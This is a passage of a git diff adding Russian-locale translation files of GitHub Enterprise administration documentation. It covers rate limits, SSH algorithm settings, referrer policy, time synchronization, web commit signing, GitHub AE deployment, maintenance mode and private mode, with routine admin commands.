minute, and are adaptive based on the current CPU load. + +{% warning %} + +**Warning:** We encourage you to leave this setting disabled unless directly recommended by a member of {% data variables.product.company_short %}'s staff. Git operations are rarely the leading driver of CPU and RAM usage. Enabling this feature can make Git operations more likely to fail under high load conditions but does not address the underlying cause of those conditions. + +{% endwarning %} + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +2. Under "Rate Limiting", select **Enable Git Rate Limiting**. +![Checkbox for enabling Git rate limiting](/assets/images/enterprise/management-console/git-rate-limits-checkbox.png) +3. Type limits for each repository network or user ID. + ![Fields for repository network and user ID limits](/assets/images/enterprise/management-console/example-git-rate-limits.png) +{% data reusables.enterprise_management_console.save-settings %} + +{% ifversion ghes > 3.4 %} + +## Configuring rate limits for {% data variables.product.prodname_actions %} + +You can apply a rate limit to {% data variables.product.prodname_actions %} workflow runs. For more information about {% data variables.product.prodname_actions %}, see "[About {% data variables.product.prodname_actions %} for enterprises](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises)." + +### About rate limits for {% data variables.product.prodname_actions %} + +Your {% data variables.product.product_name %} instance assigns each {% data variables.product.prodname_actions %} workflow job to a runner. If your instance cannot immediately assign a job to an available runner, the job will wait in a queue until a runner is available. If {% data variables.product.prodname_actions %} experiences sustained high load, the queue can back up, and the performance of {% data variables.location.product_location %} may degrade. + +To avoid this performance degradation, you can configure a rate limit for {% data variables.product.prodname_actions %}. This rate limit is expressed in job runs per minute. {% data variables.product.product_name %} calculates and applies the rate limit for the sum total of all job runs on the instance. If runs exceed the rate limit, additional runs will fail instead of entering the queue. The following error will appear in the run's annotations. + +> You've exceeded the rate limit for workflow run requests. Please wait before retrying the run. + +An appropriate rate limit protects {% data variables.location.product_location %} from abnormal usage of {% data variables.product.prodname_actions %} without interfering with day-to-day operations. The exact threshold depends on your instance's available resources and overall load profile. For more information about the hardware requirements for {% data variables.product.prodname_actions %}, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.product_name %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server#review-hardware-requirements)." + +By default, the rate limit for {% data variables.product.prodname_actions %} is disabled. Because {% data variables.product.product_name %} can handle temporary spikes in usage without performance degradation, this rate limit is intended to protect against sustained high load. We recommend leaving the rate limit disabled unless you are experiencing performance problems. In some cases, {% data variables.contact.github_support %} may recommend that you enable a rate limit for {% data variables.product.prodname_actions %}. + +### Enabling or disabling rate limits for {% data variables.product.prodname_actions %} + +{% data reusables.enterprise_installation.ssh-into-instance %} +1. To enable and configure the rate limit, run the following two commands, replacing **RUNS-PER-MINUTE** with the value of your choice. + + ```shell + ghe-config actions-rate-limiting.enabled true + ghe-config actions-rate-limiting.queue-runs-per-minute RUNS-PER-MINUTE + ``` +1. To disable the rate limit after it's been enabled, run the following command. + + ``` + ghe-config actions-rate-limiting.enabled false + ``` +1. To apply the configuration, run the following command. + + ``` + ghe-config-apply + ``` +1. Wait for the configuration run to complete. + +{% endif %} diff --git a/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/configuring-ssh-connections-to-your-instance.md b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/configuring-ssh-connections-to-your-instance.md new file mode 100644 index 000000000000..3d8a2df2fee7 --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/configuring-ssh-connections-to-your-instance.md @@ -0,0 +1,52 @@ +--- +title: Configuring SSH connections to your instance +shortTitle: Configure SSH connections +intro: 'You can increase the security of {% data variables.location.product_location %} by configuring the SSH algorithms that clients can use to establish a connection.' +permissions: 'Site administrators can configure SSH connections to a {% data variables.product.product_name %} instance.' +versions: + ghes: '>= 3.6' +type: how_to +topics: + - Authentication + - Enterprise + - Infrastructure + - Networking + - Security + - SSH +--- + +## About SSH connections to your instance + +{% data reusables.enterprise.about-ssh-ports %} + +To accommodate the SSH clients in your environment, you can configure the types of connections that {% data variables.location.product_location %} will accept. + +## Configuring SSH connections with RSA keys + +When users perform Git operations on {% data variables.location.product_location %} via SSH over port 22, the client can authenticate with an RSA key. The client may sign the attempt using the SHA-1 hash function. In this context, the SHA-1 hash function is no longer secure. For more information, see [SHA-1](https://en.wikipedia.org/wiki/SHA-1) on Wikipedia. + +By default{% ifversion ghes < 3.7 %} on {% data variables.product.product_name %} 3.6 and later{% endif %}, SSH connections that satisfy **both** of the following conditions will fail. + +{% data reusables.ssh.rsa-sha-1-connection-failure-criteria %} + +You can adjust the cutoff date. If the user uploaded the RSA key before the cutoff date, the client can continue to connect successfuly using SHA-1 as long as the key remains valid. Alternatively, you can reject all SSH connections authenticated with an RSA key if the client signs the connection using the SHA-1 hash function. + +Regardless of the setting you choose for your instance, clients can continue to connect using any RSA key signed with a SHA-2 hash function. + +If you use an SSH certificate authority, connections will fail if the certificate's `valid_after` date is after the cutoff date. For more information, see "[About SSH certificate authorities](/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities)." + +For more information, see [{% data variables.product.prodname_blog %}](https://github.blog/2022-06-28-improving-git-protocol-security-on-github-enterprise-server). + +{% data reusables.enterprise_installation.ssh-into-instance %} +1. Audit your instance's logs for connections that use unsecure algorithms or hash functions using the `ghe-find-insecure-git-operations` utility. For more information, see "[Command-line utilities](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-find-insecure-git-operations)." +1. To configure a cutoff date after which {% data variables.location.product_location %} will deny connections from clients that use an RSA key uploaded after the date if the connection is signed by the SHA-1 hash function, enter the following command. Replace _**RFC-3399-UTC-TIMESTAMP**_ with a valid RFC 3399 UTC timestamp. For example, the default value, August 1, 2022, would be represented as `2022-08-01T00:00:00Z`. For more information, see [RFC 3339](https://datatracker.ietf.org/doc/html/rfc3339) on the IETF website. + +
+   $ ghe-config app.gitauth.rsa-sha1 RFC-3339-UTC-TIMESTAMP
+   
+1. Alternatively, to completely disable SSH connections using RSA keys that are signed with the SHA-1 hash function, enter the following command. + + ```shell + ghe-config app.gitauth.rsa-sha1 false + ``` +{% data reusables.enterprise.apply-configuration %} diff --git a/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise.md b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise.md new file mode 100644 index 000000000000..ef1314f0978e --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise.md @@ -0,0 +1,38 @@ +--- +title: Configuring the referrer policy for your enterprise +shortTitle: Configure referrer policy +intro: 'You can increase the privacy of {% data variables.location.product_location %} by configuring the policy for cross-origin requests.' +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - Networking + - Privacy + - Security +--- + +## About the referrer policy for your enterprise + +The referrer policy controls the information that {% data variables.product.product_name %} transmits in HTTP headers when someone visits a link from {% data variables.location.product_location %} to an external site. + +By default, when a user on {% data variables.location.product_location %} visits a link to another site from a file or comment on your instance, the request includes the hostname for your instance in plain text within the `Referer` header. If the link leads to an external website, the owner of the website could read the hostname for your instance in requests or log files. + +You can control the information that {% data variables.product.product_name %} sends when a user visits a link from your instance. + +## Enabling the `same-origin` referrer policy + +You can enable the `same-origin` referrer policy to instruct modern browsers to exclude the hostname for {% data variables.location.product_location %} from requests to external websites. The setting applies to all links from the web interface on your instance. By default, {% data variables.product.product_name %} uses the `origin-when-cross-origin` and `strict-origin-when-cross-origin` referrer policies, which means your instance's hostname will appear in HTTP and HTTPS requests to external websites. + +{% note %} + +**Note**: Changing the referrer policy to `same-origin` can affect external sites that expect a hostname in the HTTP headers for a request. + +{% endnote %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +1. Under "User Agent Referrer Policy", select **Enable same origin referrer policy for all organizations**. + ![Checkbox for enabling same origin referrer policy](/assets/images/enterprise/settings/referrer-policy-checkbox.png) +1. Click **Save**. + ![Save button for enabling same origin referrer policy](/assets/images/enterprise/settings/referrer-policy-save-button.png) diff --git a/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/configuring-time-synchronization.md b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/configuring-time-synchronization.md new file mode 100644 index 000000000000..0ff9d4d78299 --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/configuring-time-synchronization.md @@ -0,0 +1,55 @@ +--- +title: Настройка синхронизации времени +intro: '{% data variables.product.prodname_ghe_server %} автоматически синхронизирует часы путем подключения к NTP-серверам. Можно задать NTP-серверы, используемые для синхронизации часов, или использовать NTP-серверы по умолчанию.' +redirect_from: + - /enterprise/admin/articles/adjusting-the-clock + - /enterprise/admin/articles/configuring-time-zone-and-ntp-settings + - /enterprise/admin/articles/setting-ntp-servers + - /enterprise/admin/categories/time + - /enterprise/admin/installation/configuring-time-synchronization + - /enterprise/admin/configuration/configuring-time-synchronization + - /admin/configuration/configuring-time-synchronization +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - Fundamentals + - Infrastructure + - Networking +shortTitle: Configure time settings +ms.openlocfilehash: 34ab851e50467a06eb0003d32306d1cd26e9a2d8 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145112835' +--- +## Изменение NTP-серверов по умолчанию + +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} +2. На левой боковой панели нажмите **Время**. + ![Кнопка "Время" на боковой панели {% data variables.enterprise.management_console %}](/assets/images/enterprise/management-console/sidebar-time.png) +3. В поле "Основной NTP-сервер" введите имя узла основного NTP-сервера. В поле "Дополнительный NTP-сервер" введите имя узла вторичного NTP-сервера. + ![Поля для первичных и вторичных NTP-серверов в {% data variables.enterprise.management_console %}](/assets/images/enterprise/management-console/ntp-servers.png) +4. В нижней части страницы нажмите кнопку **Сохранить параметры**. + ![Кнопка "Сохранить параметры" в {% data variables.enterprise.management_console %}](/assets/images/enterprise/management-console/save-settings.png) +5. Ожидайте завершения запуска конфигурации. + +## Исправление большого смещения времени + +Протокол NTP постоянно исправляет несоответствия синхронизации в небольшом интервале времени. Для немедленной синхронизации времени можно использовать административную оболочку. + +{% note %} + +**Примечания.** + - Невозможно изменить часовой пояс UTC. + - Следует запретить гипервизору пытаться настроить часы виртуальной машины. Дополнительные сведения см. в документации, предоставленной поставщиком виртуализации. + +{% endnote %} + +- Используйте команду `chronyc` для синхронизации сервера с настроенным NTP-сервером. Пример: + +```shell +$ sudo chronyc -a makestep +``` diff --git a/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/configuring-web-commit-signing.md b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/configuring-web-commit-signing.md new file mode 100644 index 000000000000..37a73bf09789 --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/configuring-web-commit-signing.md @@ -0,0 +1,78 @@ +--- +title: Configuring web commit signing +shortTitle: Configure web commit signing +intro: 'You can enable auto-signing of commits made in the web interface of {% data variables.product.product_name %}.' +versions: + ghes: '>=3.5' +type: how_to +topics: + - Access management + - Enterprise + - Fundamentals + - Identity + - Security +permissions: 'Site administrators can configure web commit signing for {% data variables.location.product_location %}.' +--- + +## About web commit signing + +If you enable web commit signing, {% data variables.product.product_name %} will automatically use GPG to sign commits users make on the web interface of {% data variables.location.product_location %}. Commits signed by {% data variables.product.product_name %} will have a verified status. For more information, see "[About commit signature verification](/authentication/managing-commit-signature-verification/about-commit-signature-verification)." + +You can enable web commit signing, rotate the private key used for web commit signing, and disable web commit signing. + +## Enabling web commit signing + +{% data reusables.enterprise_site_admin_settings.create-pgp-key-web-commit-signing %} + - Use `web-flow` as the username. If `web-flow` is unavailable or unusable, use any new unique username. Use this username throughout the following steps in this article. + - If you have a no-reply email address defined in the {% data variables.enterprise.management_console %}, use that email address. If not, use any email address, such as `web-flow@my-company.com`. The email address does not need to be valid. +{% data reusables.enterprise_site_admin_settings.pgp-key-no-passphrase %} +{% data reusables.enterprise_site_admin_settings.pgp-key-env-variable %} +{% data reusables.enterprise_site_admin_settings.update-commit-signing-service %} +1. Enable web commit signing. + + ```bash{:copy} + ghe-config app.github.web-commit-signing-enabled true + ``` +1. Apply the configuration, then wait for the configuration run to complete. + + ```bash{:copy} + ghe-config-apply + ``` +1. Create a new user on {% data variables.location.product_location %} via built-in authentication or external authentication. For more information, see "[About authentication for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise)." + - The user's username must be the same username you used when creating the PGP key in step 1 above, for example, `web-flow`. + - The user's email address must be the same address you used when creating the PGP key. +{% data reusables.enterprise_site_admin_settings.add-key-to-web-flow-user %} +{% data reusables.enterprise_site_admin_settings.email-settings %} +1. Under "No-reply email address", type the same email address you used when creating the PGP key. + + {% note %} + + **Note:** The "No-reply email address" field will only be displayed if you've enabled email for {% data variables.location.product_location %}. For more information, see "[Configuring email for notifications](/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications#configuring-smtp-for-your-enterprise)." + + {% endnote %} +{% data reusables.enterprise_management_console.save-settings %} + +## Rotating the private key used for web commit signing + +{% data reusables.enterprise_site_admin_settings.create-pgp-key-web-commit-signing %} + - Use the web commit signing user's username, for example, `web-flow`. + - Use the no-reply email address defined in the {% data variables.enterprise.management_console %}, which should be the same as the email address of the web commit signing user, for example, `web-flow`. +{% data reusables.enterprise_site_admin_settings.pgp-key-no-passphrase %} +{% data reusables.enterprise_site_admin_settings.pgp-key-env-variable %} +{% data reusables.enterprise_site_admin_settings.update-commit-signing-service %} +{% data reusables.enterprise_site_admin_settings.add-key-to-web-flow-user %} + +## Disabling web commit signing + +You can disable web commit signing for {% data variables.location.product_location %}. + +1. In the administrative shell, run the following command. + + ```bash{:copy} + ghe-config app.github.web-commit-signing-enabled false + ``` +1. Apply the configuration. + + ```bash{:copy} + ghe-config-apply + ``` diff --git a/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/deploying-github-ae.md b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/deploying-github-ae.md new file mode 100644 index 000000000000..e319abb56eb1 --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/deploying-github-ae.md @@ -0,0 +1,70 @@ +--- +title: Развертывание GitHub AE +intro: 'Можно выполнить развертывание {% data variables.product.product_name %} в доступных регионах Azure.' +versions: + ghae: '*' +topics: + - Accounts + - Enterprise +type: how_to +shortTitle: Deploy GitHub AE +redirect_from: + - /get-started/signing-up-for-github/setting-up-a-trial-of-github-ae +ms.openlocfilehash: af6def26a15a1ccad2625677d9db57b2a1907850 +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147614370' +--- +## Сведения о развертывании {% data variables.product.product_name %} + +{% data reusables.github-ae.github-ae-enables-you %} Дополнительные сведения см. в разделе [Сведения о {% data variables.product.prodname_ghe_managed %}](/admin/overview/about-github-ae)." + +После приобретения или запуска пробной версии {% data variables.product.product_name %} вы можете развернуть {% data variables.product.product_name %} в доступном регионе Azure. В этом руководстве используется ресурс Azure, содержащий развертывание {% data variables.product.product_name %} в качестве учетной записи {% data variables.product.product_name %}. Вы будете использовать портал Azure в [https://portal.azure.com](https://portal.azure.com) для развертывания учетной записи {% data variables.product.product_name %}. + +## Предварительные требования + +Вам потребуется разрешение для выполнения операции `/register/action` для поставщика ресурсов. Это разрешение включено в роли `Contributor` и `Owner`. Дополнительные сведения см. в разделе [Поставщики и типы ресурсов Azure](https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/resource-providers-and-types#register-resource-provider) в документации Майкрософт. + +## Развертывание {% data variables.product.product_name %} с помощью {% data variables.actions.azure_portal %} + +{% data variables.actions.azure_portal %} позволяет развернуть учетную запись {% data variables.product.product_name %} в вашей группе ресурсов Azure. + +1. Щелкните одну из следующих двух ссылок, чтобы начать развертывание {% data variables.product.product_name %}. Выбор ссылки зависит от облака Azure, в котором вы планируете развернуть {% data variables.product.product_name %}. Дополнительные сведения об Azure для государственных организаций см. в разделе [Что такое Azure для государственных организаций?](https://docs.microsoft.com/en-us/azure/azure-government/documentation-government-welcome) в документации Майкрософт. + + - [Развертывание {% data variables.product.product_name %} в Azure Commercial](https://aka.ms/create-github-ae-instance) + - [Развертывание {% data variables.product.product_name %} в Azure для государственных организаций](https://aka.ms/create-github-ae-instance-gov) +1. Чтобы начать процесс добавления новой учетной записи {% data variables.product.product_name %}, нажмите **Создать учетную запись GitHub AE**. +1. Заполните поля "Сведения о проекте" и "Сведения об экземпляре". + ![Результат поиска {% data variables.actions.azure_portal %}](/assets/images/azure/github-ae-azure-portal-form.png) + - **Имя учетной записи:** имя узла для вашего предприятия + - **Имя пользователя администратора:** имя пользователя для первоначального владельца предприятия, которое будет создано в {% data variables.product.product_name %} + - **Адрес администратора:** адрес электронной почты, на который будут отправляться сведения о входе +1. Чтобы просмотреть сводку предлагаемых изменений, нажмите кнопку **Проверить и создать**. +1. После завершения процесса проверки нажмите кнопку **Создать**. + +На указанный выше адрес электронной почты придут инструкции о том, как получить доступ к вашему предприятию. После получения доступа вы сможете приступить к работе и выполнить начальные действия по настройке. Дополнительные сведения см. в разделе [Инициализация {% data variables.product.product_name %}](/admin/configuration/initializing-github-ae). + +{% note %} + +**Примечание.** Обновления программного обеспечения для вашего развертывания {% data variables.product.product_name %} выполняются {% data variables.product.prodname_dotcom %}. Дополнительные сведения см. в разделе [Сведения об обновлениях до новых выпусков](/admin/overview/about-upgrades-to-new-releases). + +{% endnote %} + +## Переход в ваше предприятие + +Чтобы перейти к вашему развертыванию {% data variables.product.product_name %}, вы можете использовать {% data variables.actions.azure_portal %}. Полученный список содержит все развертывания {% data variables.product.product_name %} в вашем регионе Azure. + +1. В {% data variables.actions.azure_portal %} в панели слева щелкните **Все ресурсы**. +1. В доступных фильтрах щелкните **Все типы**, затем снимите флажок **Выбрать все** типов и установите флажок **GitHub AE**: ![результаты поиска {% data variables.actions.azure_portal %}](/assets/images/azure/github-ae-azure-portal-type-filter.png) + +## Дальнейшие действия + +- После подготовки развертывания следующим шагом является инициализация {% data variables.product.product_name %}. Дополнительные сведения см. в разделе [Инициализация {% data variables.product.product_name %}](/github-ae@latest/admin/configuration/configuring-your-enterprise/initializing-github-ae). +- Если вы испытываете {% data variables.product.product_name %}, вы можете перейти на полную лицензию в любое время в течение пробного периода, связавшись с контактным лицом {% data variables.contact.contact_enterprise_sales %}. Если вы не выполните обновление до последнего дня пробной версии, развертывание будет автоматически удалено. Если вам нужно больше времени для оценки {% data variables.product.product_name %}, обратитесь в {% data variables.contact.contact_enterprise_sales %}, чтобы запросить продление. + +## Дополнительные материалы + +- [Включение функций {% data variables.product.prodname_advanced_security %} в {% data variables.product.product_name %}](/github/getting-started-with-github/about-github-advanced-security#enabling-advanced-security-features-on-github-ae) +- [Заметки о выпуске {% data variables.product.product_name %}](/github-ae@latest/admin/overview/github-ae-release-notes) diff --git a/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode.md b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode.md new file mode 100644 index 000000000000..fd5a8111b583 --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode.md @@ -0,0 +1,104 @@ +--- +title: Enabling and scheduling maintenance mode +intro: 'Some standard maintenance procedures, such as upgrading {% data variables.location.product_location %} or restoring backups, require the instance to be taken offline for normal use.' +redirect_from: + - /enterprise/admin/maintenance-mode + - /enterprise/admin/categories/maintenance-mode + - /enterprise/admin/articles/maintenance-mode + - /enterprise/admin/articles/enabling-maintenance-mode + - /enterprise/admin/articles/disabling-maintenance-mode + - /enterprise/admin/guides/installation/maintenance-mode + - /enterprise/admin/installation/enabling-and-scheduling-maintenance-mode + - /enterprise/admin/configuration/enabling-and-scheduling-maintenance-mode + - /admin/configuration/enabling-and-scheduling-maintenance-mode +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - Fundamentals + - Maintenance + - Upgrades +shortTitle: Configure maintenance mode +--- +## About maintenance mode + +Some types of operations require that you take {% data variables.location.product_location %} offline and put it into maintenance mode: +- Upgrading to a new version of {% data variables.product.prodname_ghe_server %} +- Increasing CPU, memory, or storage resources allocated to the virtual machine +- Migrating data from one virtual machine to another +- Restoring data from a {% data variables.product.prodname_enterprise_backup_utilities %} snapshot +- Troubleshooting certain types of critical application issues + +We recommend that you schedule a maintenance window for at least 30 minutes in the future to give users time to prepare. When a maintenance window is scheduled, all users will see a banner when accessing the site. + + + +![End user banner about scheduled maintenance](/assets/images/enterprise/maintenance/maintenance-scheduled.png) + +When the instance is in maintenance mode, all normal HTTP and Git access is refused. Git fetch, clone, and push operations are also rejected with an error message indicating that the site is temporarily unavailable. In high availability configurations, Git replication will be paused. GitHub Actions jobs will not be executed. Visiting the site in a browser results in a maintenance page. + +![The maintenance mode splash screen](/assets/images/enterprise/maintenance/maintenance-mode-maintenance-page.png) + +{% ifversion ip-exception-list %} + +You can perform initial validation of your maintenance operation by configuring an IP exception list to allow access to {% data variables.location.product_location %} from only the IP addresses and ranges provided. Attempts to access {% data variables.location.product_location %} from IP addresses not specified on the IP exception list will receive a response consistent with those sent when the instance is in maintenance mode. + +{% endif %} + +## Enabling maintenance mode immediately or scheduling a maintenance window for a later time + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +2. At the top of the {% data variables.enterprise.management_console %}, click **Maintenance**. + ![Maintenance tab](/assets/images/enterprise/management-console/maintenance-tab.png) +3. Under "Enable and schedule", decide whether to enable maintenance mode immediately or to schedule a maintenance window for a future time. + - To enable maintenance mode immediately, use the drop-down menu and click **now**. + ![Drop-down menu with the option to enable maintenance mode now selected](/assets/images/enterprise/maintenance/enable-maintenance-mode-now.png) + - To schedule a maintenance window for a future time, use the drop-down menu and click a start time. + ![Drop-down menu with the option to schedule a maintenance window in two hours selected](/assets/images/enterprise/maintenance/schedule-maintenance-mode-two-hours.png) +4. Select **Enable maintenance mode**. + ![Checkbox for enabling or scheduling maintenance mode](/assets/images/enterprise/maintenance/enable-maintenance-mode-checkbox.png) +{% data reusables.enterprise_management_console.save-settings %} + +{% ifversion ip-exception-list %} + +## Validating changes in maintenance mode using the IP exception list + +The IP exception list provides controlled and restricted access to {% data variables.location.product_location %}, which is ideal for initial validation of server health following a maintenance operation. Once enabled, {% data variables.location.product_location %} will be taken out of maintenance mode and available only to the configured IP addresses. The maintenance mode checkbox will be updated to reflect the change in state. + +If you re-enable maintenance mode, the IP exception list will be disabled and {% data variables.location.product_location %} will return to maintenance mode. If you just disable the IP exception list, {% data variables.location.product_location %} will return to normal operation. + +You can also use a command-line utility to configure the IP exception list. For more information, see "[Command-line utilities](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-maintenance)" and "[Accessing the administrative shell (SSH)](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh)." + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +1. At the top of the {% data variables.enterprise.management_console %}, click **Maintenance**, and confirm maintenance mode is already enabled. + ![Maintenance tab](/assets/images/enterprise/management-console/maintenance-tab.png) +1. Select **Enable IP exception list**. + ![Checkbox for enabling ip exception list](/assets/images/enterprise/maintenance/enable-ip-exception-list.png) +1. In the text box, type a valid list of space-separated IP addresses or CIDR blocks that should be allowed to access {% data variables.location.product_location %}. + ![completed field for IP addresses](/assets/images/enterprise/maintenance/ip-exception-list-ip-addresses.png) +1. Click **Save**. +![after IP excetpion list has saved](/assets/images/enterprise/maintenance/ip-exception-save.png) + +{% endif %} + +## Scheduling maintenance mode with the {% data variables.product.prodname_enterprise_api %} + +You can schedule maintenance for different times or dates with the {% data variables.product.prodname_enterprise_api %}. For more information, see "[Management Console](/enterprise/user/rest/reference/enterprise-admin#enable-or-disable-maintenance-mode)." + +## Enabling or disabling maintenance mode for all nodes in a cluster + +With the `ghe-cluster-maintenance` utility, you can set or unset maintenance mode for every node in a cluster. + +```shell +$ ghe-cluster-maintenance -h +# Shows options +$ ghe-cluster-maintenance -q +# Queries the current mode +$ ghe-cluster-maintenance -s +# Sets maintenance mode +$ ghe-cluster-maintenance -u +# Unsets maintenance mode +``` diff --git a/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/enabling-private-mode.md b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/enabling-private-mode.md new file mode 100644 index 000000000000..e0f3bb8c8fa1 --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/enabling-private-mode.md @@ -0,0 +1,35 @@ +--- +title: Enabling private mode +intro: 'In private mode, {% data variables.product.prodname_ghe_server %} requires every user to sign in to access the installation.' +redirect_from: + - /enterprise/admin/articles/private-mode + - /enterprise/admin/guides/installation/security + - /enterprise/admin/guides/installation/securing-your-instance + - /enterprise/admin/installation/enabling-private-mode + - /enterprise/admin/configuration/enabling-private-mode + - /admin/configuration/enabling-private-mode +versions: + ghes: '*' +type: how_to +topics: + - Access management + - Authentication + - Enterprise + - Fundamentals + - Infrastructure + - Networking + - Privacy + - Security +--- +You must enable private mode if {% data variables.location.product_location %} is publicly accessible over the Internet. In private mode, users cannot anonymously clone repositories over `git://`. If built-in authentication is also enabled, an administrator must invite new users to create an account on the instance. For more information, see "[Configuring built-in authentication](/admin/identity-and-access-management/using-built-in-authentication/configuring-built-in-authentication)." + +{% data reusables.enterprise_installation.image-urls-viewable-warning %} + +With private mode enabled, you can allow unauthenticated Git operations (and anyone with network access to {% data variables.location.product_location %}) to read a public repository's code on your instance with anonymous Git read access enabled. For more information, see "[Allowing admins to enable anonymous Git read access to public repositories](/enterprise/admin/guides/user-management/allowing-admins-to-enable-anonymous-git-read-access-to-public-repositories)." + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +{% data reusables.enterprise_management_console.privacy %} +4. Select **Private mode**. + ![Checkbox for enabling private mode](/assets/images/enterprise/management-console/private-mode-checkbox.png) +{% data reusables.enterprise_management_console.save-settings %} diff --git a/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/index.md b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/index.md new file mode 100644 index 000000000000..bbfb8d3ef80e --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/index.md @@ -0,0 +1,50 @@ +--- +title: Настройка предприятия +intro: 'После запуска {% data variables.product.product_name %} вы можете настроить свое предприятие в соответствии с потребностями вашей организации.' +redirect_from: + - /enterprise/admin/guides/installation/basic-configuration + - /enterprise/admin/guides/installation/administrative-tools + - /enterprise/admin/articles/restricting-ssh-access-to-specific-hosts + - /enterprise/admin/guides/installation/configuring-the-github-enterprise-appliance + - /enterprise/admin/installation/configuring-the-github-enterprise-server-appliance + - /enterprise/admin/configuration/configuring-your-enterprise +versions: + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - Enterprise +children: + - /about-enterprise-configuration + - /deploying-github-ae + - /initializing-github-ae + - /accessing-the-management-console + - /accessing-the-administrative-shell-ssh + - /enabling-and-scheduling-maintenance-mode + - /configuring-backups-on-your-appliance + - /site-admin-dashboard + - /enabling-private-mode + - /managing-github-mobile-for-your-enterprise + - /configuring-ssh-connections-to-your-instance + - /configuring-email-for-notifications + - /verifying-or-approving-a-domain-for-your-enterprise + - /configuring-rate-limits + - /configuring-applications + - /troubleshooting-tls-errors + - /configuring-time-synchronization + - /command-line-utilities + - /restricting-network-traffic-to-your-enterprise + - /configuring-github-pages-for-your-enterprise + - /configuring-host-keys-for-your-instance + - /configuring-the-referrer-policy-for-your-enterprise + - /configuring-custom-footers + - /configuring-web-commit-signing +shortTitle: Configure your enterprise +ms.openlocfilehash: 3cc7deccfdf71a0e339fca8055f0cd4b5027a32c +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147409246' +--- + diff --git a/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/initializing-github-ae.md b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/initializing-github-ae.md new file mode 100644 index 000000000000..357fb4109c89 --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/initializing-github-ae.md @@ -0,0 +1,135 @@ +--- +title: Инициализация GitHub AE +intro: 'Чтобы подготовить ваше предприятие к использованию, можно выполнить начальную настройку {% data variables.product.product_name %}.' +versions: + ghae: '*' +type: how_to +topics: + - Enterprise +redirect_from: + - /admin/configuration/initializing-github-ae + - /enterprise-server@latest/admin/configuration/configuring-your-enterprise/initializing-github-ae +ms.openlocfilehash: a3c32a770bbf58be3589824302fe3a32be0e239a +ms.sourcegitcommit: ced661bdffebd0f96f6f76db109fbe31983448ba +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/16/2022 +ms.locfileid: '148167055' +--- +## Сведения об инициализации + +Прежде чем инициализировать организацию, необходимо приобрести {% data variables.product.product_name %}. За дополнительными сведениями обратитесь в {% data variables.contact.contact_enterprise_sales %}. + +{% data reusables.github-ae.initialize-enterprise %} Убедитесь в том, что предоставленные сведения соответствуют сведениям о предполагаемом владельце организации у поставщика удостоверений. Дополнительные сведения о владельцах организаций см. в разделе [Роли в организации](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owner). + +{% 